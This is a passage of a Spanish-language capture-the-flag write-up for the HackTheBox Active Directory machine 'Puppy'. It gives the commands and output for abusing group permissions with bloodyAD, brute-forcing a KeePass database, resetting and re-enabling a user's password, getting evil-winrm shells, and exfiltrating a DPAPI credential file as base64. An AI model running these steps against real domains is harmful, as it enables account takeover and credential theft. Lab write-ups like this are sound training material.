Puppy – HackTheBox Link to heading
- OS: Windows
- Difficulty / Dificultad : Medium / Media
- Platform / Plataforma: HackTheBox
Sinopsis Link to heading
“Puppy” es una máquina de dificultad Media de la plataforma HackTheBox
enfocada en Active Directory
(AD
). Esta máquina se centra en un entorno AD
-en el cual se asume una brecha, donde se empezamos con credenciales dadas- el cual enseña movimientos laterales en AD
, habilitar cuentas deshabilitadas, extraer credenciales de archivos KeePass
y credenciales de archivos Data Protection API
(DPAPI
).
levi.james:KingofAkron2025!
User / Usuario Link to heading
Empezamos con un rápido escaneo con Nmap
buscando por puertos TCP
abiertos:
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.129.246.234
Del escaneo encontramos 5 puertos abiertos, donde los principales son: 53
Domain Name System
(DNS
), 135
Microsoft RPC
, y 445
Server Message Block
(SMB
). Aplicamos algunos scripts de reconocimiento sobre estos puertos utilizando la flag -sVC
con Nmap
:
❯ sudo nmap -sVC -p53,111,135,139,445 10.129.246.234
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-18 18:29 -04
Nmap scan report for 10.129.246.234
Host is up (0.39s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 7h00m00s
| smb2-time:
| date: 2025-05-19T05:30:29
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 459.46 seconds
Aparentemente, estamos ante un entorno Active Directory
(AD
).
También podemos usar la herramienta NetExec
, junto con las credenciales dadas, para obtener información acerca de esta máquina y su dominio AD
:
❯ nxc smb 10.129.246.234 -u 'levi.james' -p 'KingofAkron2025!'
SMB 10.129.246.234 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.129.246.234 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
Tenemos un nombre de máquina DC
y un dominio PUPPY.HTB
.
Por ende, agregamos el nombre de la máquina, dominio y FQDN
(DC.PUPPY.HTB
), junto con su IP, a nuestro archivo /etc/hosts
en nuestra máquina de atacantes:
❯ echo '10.129.246.234 DC DC.PUPPY.HTB PUPPY.HTB' | sudo tee -a /etc/hosts
Si revisamos por recursos compartidos a través del servicio SMB
con NetExec
encontramos una carpeta llamada DEV
. Sin embargo, no tenemos permisos para leer su contenido:
❯ nxc smb 10.129.246.234 -u 'levi.james' -p 'KingofAkron2025!' --shares
SMB 10.129.246.234 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.129.246.234 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB 10.129.246.234 445 DC [*] Enumerated shares
SMB 10.129.246.234 445 DC Share Permissions Remark
SMB 10.129.246.234 445 DC ----- ----------- ------
SMB 10.129.246.234 445 DC ADMIN$ Remote Admin
SMB 10.129.246.234 445 DC C$ Default share
SMB 10.129.246.234 445 DC DEV DEV-SHARE for PUPPY-DEVS
SMB 10.129.246.234 445 DC IPC$ READ Remote IPC
SMB 10.129.246.234 445 DC NETLOGON READ Logon server share
SMB 10.129.246.234 445 DC SYSVOL READ Logon server share
Para obtener más información acerca del dominio podemos utilizar la herramienta bloodhound-python
(la cual puede ser instalada con pip3 install bloodhound
o pipx install bloodhound
, yo recomiendo fuertemente la segunda) junto con las credenciales dadas para el usuario levi.james
:
❯ bloodhound-python -c ALL -u 'levi.james' -p 'KingofAkron2025!' -d PUPPY.HTB -ns 10.129.246.234 --zip
INFO: Found AD domain: puppy.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: dc.puppy.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.puppy.htb
INFO: Found 10 users
INFO: Found 56 groups
INFO: Found 3 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.PUPPY.HTB
INFO: Done in 01M 04S
INFO: Compressing output into 20250518184119_bloodhound.zip
Aunque vemos un error KRB_AP_ERR_SKEW(Clock skew too great)
, el comando se ejecuta correctamente y genera un archivo .zip
el cual podemos utilizar en Bloodhound
.
Iniciamos Bloodhound
(en mi caso utilizo la versión Community Edition
, o CE
) y subimos el archivo .zip
generado a éste. Une ves hemos subido el archivo y éste se termina de cargar, buscamos por el usuario levi.james
. Podemos ver si este usuario tiene permisos sobre otros objetos (usuarios, cuentas u otros objetos del dominio) clickeando en la opción Outbound Object Control
. Podemos ver así:
El usuario levi.james
es miembro del grupo HR
. Los miembros de este grupo tienen el permiso GenericWrite
sobre un grupo llamado DEVELOPERS
. Esto quiere decir que el usuario levi.james
tiene los permisos de agregar cualquier usuario a este grupo. Por tanto, nos agregamos a nosotros mismos (el usuario levi.james
) al grupo DEVELOPERS
utilizando la herramienta bloodyAD
:
❯ bloodyAD -d PUPPY.HTB --host DC.PUPPY.HTB -u 'levi.james' -p 'KingofAkron2025!' add groupMember 'DEVELOPERS' 'levi.james'
[+] levi.james added to DEVELOPERS
Una vez hemos agregado al usuario levi.james
al grupo DEVELOPERS
, volvemos a revisar los recursos compartidos por SMB
. Ahora que somos parte de este nuevo grupo, sí podemos leer el contenido de la carpeta compartida DEV
:
❯ nxc smb 10.129.246.234 -u 'levi.james' -p 'KingofAkron2025!' --shares
SMB 10.129.246.234 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.129.246.234 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB 10.129.246.234 445 DC [*] Enumerated shares
SMB 10.129.246.234 445 DC Share Permissions Remark
SMB 10.129.246.234 445 DC ----- ----------- ------
SMB 10.129.246.234 445 DC ADMIN$ Remote Admin
SMB 10.129.246.234 445 DC C$ Default share
SMB 10.129.246.234 445 DC DEV READ DEV-SHARE for PUPPY-DEVS
SMB 10.129.246.234 445 DC IPC$ READ Remote IPC
SMB 10.129.246.234 445 DC NETLOGON READ Logon server share
SMB 10.129.246.234 445 DC SYSVOL READ Logon server share
DEVELOPERS
a su estado original cada cierto tiempo (~15 minutos).Revisamos el contenido de la carpeta compartida DEV
usando NetExec
y las credenciales del usuario levi.james
gracias a que ahora tenemos los permisos para hacerlo:
❯ nxc smb 10.129.246.234 -u 'levi.james' -p 'KingofAkron2025!' --spider 'DEV' --pattern .
SMB 10.129.246.234 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.129.246.234 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB 10.129.246.234 445 DC [*] Started spidering
SMB 10.129.246.234 445 DC [*] Spidering .
SMB 10.129.246.234 445 DC //10.129.246.234/DEV/. [dir]
SMB 10.129.246.234 445 DC //10.129.246.234/DEV/.. [dir]
SMB 10.129.246.234 445 DC //10.129.246.234/DEV/KeePassXC-2.7.9-Win64.msi [lastm:'2025-03-23 04:09' size:34394112]
SMB 10.129.246.234 445 DC //10.129.246.234/DEV/recovery.kdbx [lastm:'2025-03-11 23:25' size:2677]
SMB 10.129.246.234 445 DC //10.129.246.234/DEV/Projects/. [dir]
SMB 10.129.246.234 445 DC //10.129.246.234/DEV/Projects/.. [dir]
SMB 10.129.246.234 445 DC [*] Done spidering (Completed in 3.352356433868408)
❯ nxc smb 10.129.246.234 -u 'levi.james' -p 'KingofAkron2025!' --spider 'DEV/Projects' --pattern .
SMB 10.129.246.234 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.129.246.234 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB 10.129.246.234 445 DC [*] Started spidering
SMB 10.129.246.234 445 DC [*] Spidering .
SMB 10.129.246.234 445 DC [*] Done spidering (Completed in 0.2704143524169922)
Hay un archivo .msi
, el cual es usualmente utilizado para instalar software, para KeePass
junto con su versión 2.7.9
y un archivo .kdbx
(llamado recovery.kdbx
) el cual es el formato que KeePass
utiliza para sus archivos.
Descargamos el archivo KeePass
utilizando nuevamente NetExec
:
❯ nxc smb 10.129.246.234 -u 'levi.james' -p 'KingofAkron2025!' --share 'DEV' --get-file 'recovery.kdbx' 'recovery.kdbx'
SMB 10.129.246.234 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.129.246.234 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB 10.129.246.234 445 DC [*] Copying "recovery.kdbx" to "recovery.kdbx"
SMB 10.129.246.234 445 DC [+] File "recovery.kdbx" was downloaded to "recovery.kdbx"
Como esperábamos, este es un archivo para KeePass
:
❯ file recovery.kdbx
recovery.kdbx: Keepass password database 2.x KDBX
Un problema es que no podemos extraer el hash que protege a este archivo utilizando keepass2john
dado que la versión del archivo no lo permite:
❯ keepass2john recovery.kdbx
! recovery.kdbx : File version '40000' is currently not supported!
Esto ocurre para versiones más nuevas de KeePass
y por ello keepass2john
está levemente obsoleto.
No obstante, podemos intentar un Brute Force Password Login
(intentar loguear por fuerza bruta) usando una herramienta llamada keepass4brute (la cual, a su vez, también necesita la herramienta keepassxc-cli
; ésta puede ser instalada con sudo apt install keepassxc -y
) la cual intentará abrir el archivo .kdbx
usando fuerza bruta. Esta herramienta es un simple script de Bash
la cual trata de abrir el archivo .kdbx
usando keepassxc-cli
dado un diccionario de contraseñas. Clonamos esta herramienta:
❯ git clone https://github.com/r3nt0n/keepass4brute.git -q
❯ cd keepass4brute
Y la usamos utilizando el diccionario rockyou.txt
como diccionario de contraseñas:
❯ ./keepass4brute.sh ../../content/recovery.kdbx /usr/share/wordlists/rockyou.txt
keepass4brute 1.3 by r3nt0n
https://github.com/r3nt0n/keepass4brute
[+] Words tested: 36/14344392 - Attempts per minute: 52 - Estimated time remaining: 27 weeks, 2 days
[+] Current attempt: liverpool
[*] Password found: liverpool
Obtenemos una contraseña para este archivo: liverpool
.
Podemos ahora utilizar keepassxc-cli
para revisar su contenido:
❯ keepassxc-cli ls recovery.kdbx
Enter password to unlock recovery.kdbx: liverpool
JAMIE WILLIAMSON
ADAM SILVER
ANTONY C. EDWARDS
STEVE TUCKER
SAMUEL BLAKE
Tenemos 5 diferentes entradas para lo que parecen ser usuarios.
Podemos hacer un simple oneliner en Bash
el cual proveee la contraseña maestra (liverpool
) a keepassxc-cli
y revisa el contenido para cada una de las entradas:
❯ for user in "JAMIE WILLIAMSON" "ADAM SILVER" "ANTONY C. EDWARDS" "STEVE TUCKER" "SAMUEL BLAKE"; do echo -e "\n[+] Checking content for entry '$user'"; echo 'liverpool' | keepassxc-cli show recovery.kdbx $user -s; done
[+] Checking content for entry 'JAMIE WILLIAMSON'
Enter password to unlock recovery.kdbx:
Title: JAMIE WILLIAMSON
UserName:
Password: JamieLove2025!
URL: puppy.htb
Notes:
Uuid: {5f112cf4-85ed-4d4d-bf0e-5e35da983367}
Tags:
[+] Checking content for entry 'ADAM SILVER'
Enter password to unlock recovery.kdbx:
Title: ADAM SILVER
UserName:
Password: HJKL2025!
URL: puppy.htb
Notes:
Uuid: {387b31a3-4a42-4352-ad9a-a42a70fa19f5}
Tags:
[+] Checking content for entry 'ANTONY C. EDWARDS'
Enter password to unlock recovery.kdbx:
Title: ANTONY C. EDWARDS
UserName:
Password: Antman2025!
URL: puppy.htb
Notes:
Uuid: {bfd9590f-b0c6-41f8-b2f5-7e6c5defa5e2}
Tags:
[+] Checking content for entry 'STEVE TUCKER'
Enter password to unlock recovery.kdbx:
Title: STEVE TUCKER
UserName:
Password: Steve2025!
URL: puppy.htb
Notes:
Uuid: {d51a238d-4fe4-4ede-bb83-e6bb6e48a0a1}
Tags:
[+] Checking content for entry 'SAMUEL BLAKE'
Enter password to unlock recovery.kdbx:
Title: SAMUEL BLAKE
UserName:
Password: ILY2025!
URL: puppy.htb
Notes:
Uuid: {d17c1358-f48b-4865-8ab6-15484dccb69b}
Tags:
Obtenemos contraseñas (campo Password
) para 3 distintos usuarios.
Además, podemos revisar usuarios en el dominio utilizando NetExec
:
❯ nxc smb 10.129.246.234 -u 'levi.james' -p 'KingofAkron2025!' --rid-brute | grep 'SidTypeUser' | awk '{print $6}' | awk -F '\' '{print $2}'
Administrator
Guest
krbtgt
DC$
levi.james
ant.edwards
adam.silver
jamie.williams
steph.cooper
steph.cooper_adm
Hacemos calzar la contraseña de la entrada JAMIE WILLIAMSON
con el usuario jamie.williamson
, la contraseña de ADAM SILVER
con adam.silver
y al contraseña de ANTONY C. EDWARDS
con ant.edwards
. Para probar cada contraseña con su respectivo usuario, podemos utilizar la flag --no-bruteforce
para probar la primera contraseña con el primer usuario, la segunda contraseña con el segundo usuario y así:
❯ nxc smb 10.129.246.234 -u 'jamie.williamson' 'adam.silver' 'ant.edwards' -p 'JamieLove2025!' 'HJKL2025!' 'Antman2025!' --no-bruteforce
SMB 10.129.246.234 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.129.246.234 445 DC [-] PUPPY.HTB\jamie.williamson:JamieLove2025! STATUS_LOGON_FAILURE
SMB 10.129.246.234 445 DC [-] PUPPY.HTB\adam.silver:HJKL2025! STATUS_LOGON_FAILURE
SMB 10.129.246.234 445 DC [+] PUPPY.HTB\ant.edwards:Antman2025!
Obtenemos credenciales válidas: ant.edwards:Antman2025!
.
De vuelta a Bloodhound
vemos qué es lo que puede realizar este nuevo usuario. Ahora podemos ver:
El usuario ant.edwards
es miembro del grupo SENIOR DEVS
. Los miembros de este grupo tienen el permiso GenericAll
sobre el usuario adam.silver
.
Intenté realizar un ataque Shadow Credentials
sobre este usuario, pero no funcionó dado que el servicio LDAP
(que usualmente corre por el puerto 389
) no está disponible. Usando targetedKerberoast.py
tampoco funcionó:
❯ faketime "$(ntpdate -q PUPPY.HTB | cut -d ' ' -f 1,2)" python3 targetedKerberoast.py -vv -d PUPPY.HTB -u 'ant.edwards' -p 'Antman2025!' --request-user 'adam.silver' --dc-ip 10.129.246.234
[*] Starting kerberoast attacks
[*] Attacking user (adam.silver)
[DEBUG] {}
Por tanto, la única opción que queda es cambiar forzosamente la contraseña de este usuario (lo cual siempre debería de ser la última opción en la vida real). Para este propósito podemos utilizar nuevamente bloodyAD
:
❯ bloodyAD --host 10.129.246.234 -d PUPPY.HTB -u 'ant.edwards' -p 'Antman2025!' set password 'adam.silver' 'gunzf0x123$!'
[+] Password changed successfully!
Y revisar los cambios con NetExec
:
❯ nxc smb 10.129.246.234 -u 'adam.silver' -p 'gunzf0x123$!'
SMB 10.129.246.234 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.129.246.234 445 DC [-] PUPPY.HTB\adam.silver:gunzf0x123$! STATUS_ACCOUNT_DISABLED
Obtenemos STATUS_ACCOUNT_DISABLED
lo cual significa que la contraseña es correcta, pero que el usuario no está habilitado.
Esto lo podemos revisar de igual manera con bloodyAD
:
❯ bloodyAD --host 10.129.246.234 -d PUPPY.HTB -u 'ant.edwards' -p 'Antman2025!' get object 'adam.silver' --attr userAccountControl
distinguishedName: CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB
userAccountControl: ACCOUNTDISABLE; NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD
Podemos ver el atributo ACCOUNTDISABLE
.
Basados en la documentación de Microsoft para userAccountControl, si definimos la propiedad userAccountControl
a un valor de 512
, el cual es el valor para NORMAL_ACCOUNT
, deberíamos de “habilitar” la cuenta. Dado que ant.edwards
puede modificar las propiedades del usuario adam.silver
gracias al permiso GenericAll
(también conocido como FullControl
), podemos utilizar esta cuenta para habilitar a adam.silver
modificando el valor de su atributo userAccountControl
a 512
. Esto debería de ser fácil con bloodyAD
:
❯ bloodyAD --host 10.129.246.234 -d PUPPY.HTB -u 'ant.edwards' -p 'Antman2025!' set object 'adam.silver' userAccountControl -v '512'
Traceback (most recent call last):
File "/home/gunzf0x/.local/bin/bloodyAD", line 8, in <module>
sys.exit(main())
^^^^^^
File "/home/gunzf0x/.local/lib/python3.12/site-packages/bloodyAD/main.py", line 144, in main
output = args.func(conn, **params)
^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/gunzf0x/.local/lib/python3.12/site-packages/bloodyAD/cli_modules/set.py", line 26, in object
conn.ldap.bloodymodify(
File "/home/gunzf0x/.local/lib/python3.12/site-packages/bloodyAD/network/ldap.py", line 217, in bloodymodify
raise err
msldap.commons.exceptions.LDAPModifyException: LDAP Modify operation failed on DN CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB! Result code: "invalidAttributeSyntax" Reason: "b'00000057: LdapErr: DSID-0C091330, comment: Error in attribute conversion operation, data 0, v4f7c\x00'"
Pero obtenemos un error: invalidAttributeSyntax
.
Esto ocurre porque, en mi caso, la versión de bloodyAD
que tenía instalada era una algo antigua:
❯ pip3 list | grep bloodyAD
bloodyAD 2.0.8
En mi caso resolví esto desinstalando bloodyAD
(que tenía instalado con pip3
) e instalando una versión más actualizada con pipx
:
❯ pip3 uninstall bloodyAD
❯ pipx install bloodyAD
<SNIP>
❯ pipx list | grep 'bloodyAD' -B 1
package bloodyad 2.1.13, installed using Python 3.12.9
- bloodyAD
Si esta vez volvemos a ejecutar el comando anterior, éste sí funciona:
❯ bloodyAD --host 10.129.246.234 -d PUPPY.HTB -u 'ant.edwards' -p 'Antman2025!' set object 'adam.silver' userAccountControl -v '512'
[+] adam.silver's userAccountControl has been updated
Revisando los atributos para adam.silver
podemos ver que ahora su atributo userAccountControl
ha sido establecido a NORMAL_ACCOUNT
:
❯ bloodyAD --host 10.129.246.234 -d PUPPY.HTB -u 'ant.edwards' -p 'Antman2025!' get object 'adam.silver' --attr userAccountControl
distinguishedName: CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB
userAccountControl: NORMAL_ACCOUNT
adam.silver
cada cierto tiempo de ser necesario.Ahora sí tenemos acceso a esta cuenta:
❯ nxc smb 10.129.246.234 -u 'adam.silver' -p 'gunzf0x123$!'
SMB 10.129.246.234 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.129.246.234 445 DC [+] PUPPY.HTB\adam.silver:gunzf0x123$!
En Bloodhound
podemos revisar si este usuario es parte del grupo Remote Management Users
, lo cual significa que este usuario debería de ser capaz de acceder a la máquina víctima a través del servicio WinRM
. Incluso si en nuestro escaneo inicial el servicio WinRM
no estaba disponible, vale la pena intentar si esto funciona:
❯ nxc winrm 10.129.246.234 -u 'adam.silver' -p 'gunzf0x123$!'
WINRM 10.129.246.234 5985 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)
WINRM 10.129.246.234 5985 DC [+] PUPPY.HTB\adam.silver:gunzf0x123$! (Pwn3d!)
Funcionó. Tenemos acceso por WinRM
.
Accedemos a la máquina víctima a través de WinRM
utilizando la herramienta evil-winrm
junto con las credenciales modificadas de adam.silver
:
❯ evil-winrm -i PUPPY.HTB -u 'adam.silver' -p 'gunzf0x123$!'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\adam.silver\Documents>
Podemos extraer la flag de usuario en el Desktop del usuario adam.silver
.
NT Authority/System - Administrador Link to heading
En la ruta C:\
hay una carpeta llamada Backup
:
*Evil-WinRM* PS C:\Users\adam.silver\Documents> dir C:\
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/9/2025 10:48 AM Backups
d----- 5/12/2025 5:21 PM inetpub
d----- 5/8/2021 1:20 AM PerfLogs
d-r--- 4/4/2025 3:40 PM Program Files
d----- 5/8/2021 2:40 AM Program Files (x86)
d----- 3/8/2025 9:00 AM StorageReports
d-r--- 3/8/2025 8:52 AM Users
d----- 5/13/2025 4:40 PM Windows
Esta carpeta contiene un archivo .zip
:
*Evil-WinRM* PS C:\Users\adam.silver\Documents> dir C:\Backups
Directory: C:\Backups
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/8/2025 8:22 AM 4639546 site-backup-2024-12-30.zip
Lo descargamos en nuestra máquina de atacantes utilizando la dunción download
de evil-winrm
:
*Evil-WinRM* PS C:\Users\adam.silver\Documents> download C:\\Backups\\site-backup-2024-12-30.zip
Info: Downloading C:\Backups\site-backup-2024-12-30.zip to site-backup-2024-12-30.zip
Info: Download successful!
Luego, extraemos/descomprimimos el archivo descargado:
❯ unzip site-backup-2024-12-30.zip -d site-backup
Archive: site-backup-2024-12-30.zip
creating: site-backup/puppy/
inflating: site-backup/puppy/nms-auth-config.xml.bak
creating: site-backup/puppy/images/
inflating: site-backup/puppy/images/banner.jpg
inflating: site-backup/puppy/images/jamie.jpg
<SNIP>
Hay un archivo con un llamativo nombre puppy/nms-auth-config.xml.bak
.
Leemos su contenido:
❯ cat site-backup/puppy/nms-auth-config.xml.bak
<?xml version="1.0" encoding="UTF-8"?>
<ldap-config>
<server>
<host>DC.PUPPY.HTB</host>
<port>389</port>
<base-dn>dc=PUPPY,dc=HTB</base-dn>
<bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
<bind-password>ChefSteph2025!</bind-password>
</server>
<user-attributes>
<attribute name="username" ldap-attribute="uid" />
<attribute name="firstName" ldap-attribute="givenName" />
<attribute name="lastName" ldap-attribute="sn" />
<attribute name="email" ldap-attribute="mail" />
</user-attributes>
<group-attributes>
<attribute name="groupName" ldap-attribute="cn" />
<attribute name="groupMember" ldap-attribute="member" />
</group-attributes>
<search-filter>
<filter>(&(objectClass=person)(uid=%s))</filter>
</search-filter>
</ldap-config>
Donde podemos ver unas líneas interesantes:
<bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
<bind-password>ChefSteph2025!</bind-password>
Tenemos una contraseña para el usuario steph.cooper
, un usuario el cual sabemos que existe en el dominio (el cual podemos ver cuando extrajimos los usuarios con NetExec
o simplemente revisando Bloodhound
).
Revisamos si estas credenciales funcionan para este nuevo usuario en el servicio SMB
:
❯ nxc smb 10.129.246.234 -u 'steph.cooper' -p 'ChefSteph2025!'
SMB 10.129.246.234 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.129.246.234 445 DC [+] PUPPY.HTB\steph.cooper:ChefSteph2025!
Funcionan.
Desde Bloodhound
, y también utilizando NetExec
, podemos ver que este usuario puede conectarse al servicio WinRM
en la máquina víctima gracias a que es parte del grupo Remote Management Users
:
❯ nxc winrm 10.129.246.234 -u 'steph.cooper' -p 'ChefSteph2025!'
WINRM 10.129.246.234 5985 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)
WINRM 10.129.246.234 5985 DC [+] PUPPY.HTB\steph.cooper:ChefSteph2025! (Pwn3d!)
Nos conectamos como steph.cooper
usando evil-winrm
:
❯ evil-winrm -i PUPPY.HTB -u 'steph.cooper' -p 'ChefSteph2025!'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\steph.cooper\Documents>
Para buscar por archivos sensibles del sistema podemos utilizar WinPEAS
(el cual puede ser descargado desde su repositorio de Github). Descargamos el binario:
❯ wget https://github.com/peass-ng/PEASS-ng/releases/download/20250518-5781f7e5/winPEASx64.exe -q
Y luego, subimos el binario ejecutable desde nuestra máquina de atacantes a la máquina víctima utilizando la función upload
de evil-winrm
(lo cual tomará un tiempo, así que recomiendo paciencia):
*Evil-WinRM* PS C:\Users\steph.cooper\Documents> upload winPEASx64.exe winPEAS.exe
Info: Uploading /home/gunzf0x/HTB/HTBMachines/Medium/Puppy/exploits/winPEASx64.exe to C:\Users\steph.cooper\Documents\winPEAS.exe
Data: 13525672 bytes of 13525672 bytes copied
Una vez descargado en la máquina de atacantes, ejecutamos el binario para recolectar información:
*Evil-WinRM* PS C:\Users\steph.cooper\Documents> .\winPEAS.exe
<SNIP>
ÉÍÍÍÍÍÍÍÍÍ͹ Checking for DPAPI Master Keys
È https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi
MasterKey: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407
Accessed: 3/8/2025 7:40:36 AM
Modified: 3/8/2025 7:40:36 AM
=================================================================================================
ÉÍÍÍÍÍÍÍÍÍ͹ Checking for DPAPI Credential Files
È https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi
CredFile: C:\Users\steph.cooper\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D
Description: Local Credential Data
MasterKey: 556a2412-1275-4ccf-b721-e6a0b4f90407
Accessed: 3/8/2025 8:14:09 AM
Modified: 3/8/2025 8:14:09 AM
Size: 11068
=================================================================================================
CredFile: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9
Description: Enterprise Credential Data
MasterKey: 556a2412-1275-4ccf-b721-e6a0b4f90407
Accessed: 3/8/2025 7:54:29 AM
Modified: 3/8/2025 7:54:29 AM
Size: 414
=================================================================================================
<SNIP>
Encontramos credenciales para Data Protection API
(DPAPI
).
Podemos revisar manualmente esto también:
*Evil-WinRM* PS C:\Users\steph.cooper\Documents> Get-ChildItem -Hidden C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\
Directory: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 3/8/2025 7:54 AM 414 C8D69EBE9A43E9DEBF6B5FBD48B521B9
Usando el comando download
de evil-winrm
sobre este archivo no funciona:
*Evil-WinRM* PS C:\Users\steph.cooper\Documents> download C:\\Users\\steph.cooper\\AppData\\Roaming\\Microsoft\\Credentials\\C8D69EBE9A43E9DEBF6B5FBD48B521B9
Info: Downloading C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9 to C8D69EBE9A43E9DEBF6B5FBD48B521B9
Error: Download failed. Check filenames or paths: uninitialized constant WinRM::FS::FileManager::EstandardError
Esto es porque este archivo está marcado como Hidden
(oculto).
Como alternativa, podemos pasar el contenido del archivo a base64
:
*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials> [Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9'))
AQAAAJIBAAAAAAAAAQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAEiRqVXUSz0y3IeagtPkEBwAAACA6AAAARQBuAHQAZQByAHAAcgBpAHMAZQAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAIABEAGEAdABhAA0ACgAAAANmAADAAAAAEAAAAHEb7RgOmv+9Na4Okf93s5UAAAAABIAAAKAAAAAQAAAACtD/ejPwVzLZOMdWJSHNcNAAAAAxXrMDYlY3P7k8AxWLBmmyKBrAVVGhfnfVrkzLQu2ABNeu0R62bEFJ0CdfcBONlj8Jg2mtcVXXWuYPSiVDse/sOudQSf3ZGmYhCz21A8c6JCGLjWuS78fQnyLW5RVLLzZp2+6gEcSU1EsxFdHCp9cT1fHIHl0cXbIvGtfUdeIcxPq/nN5PY8TR3T8i7rw1h5fEzlCX7IFzIu0avyGPnrIDNgButIkHWX+xjrzWKXGEiGrMkbgiRvfdwFxb/XrET9Op8oGxLkI6Mr8QmFZbjS41FAAAADqxkFzw7vbQSYX1LftJiaf2waSc
Y decodearlo en nuestra máquina de atacantes:
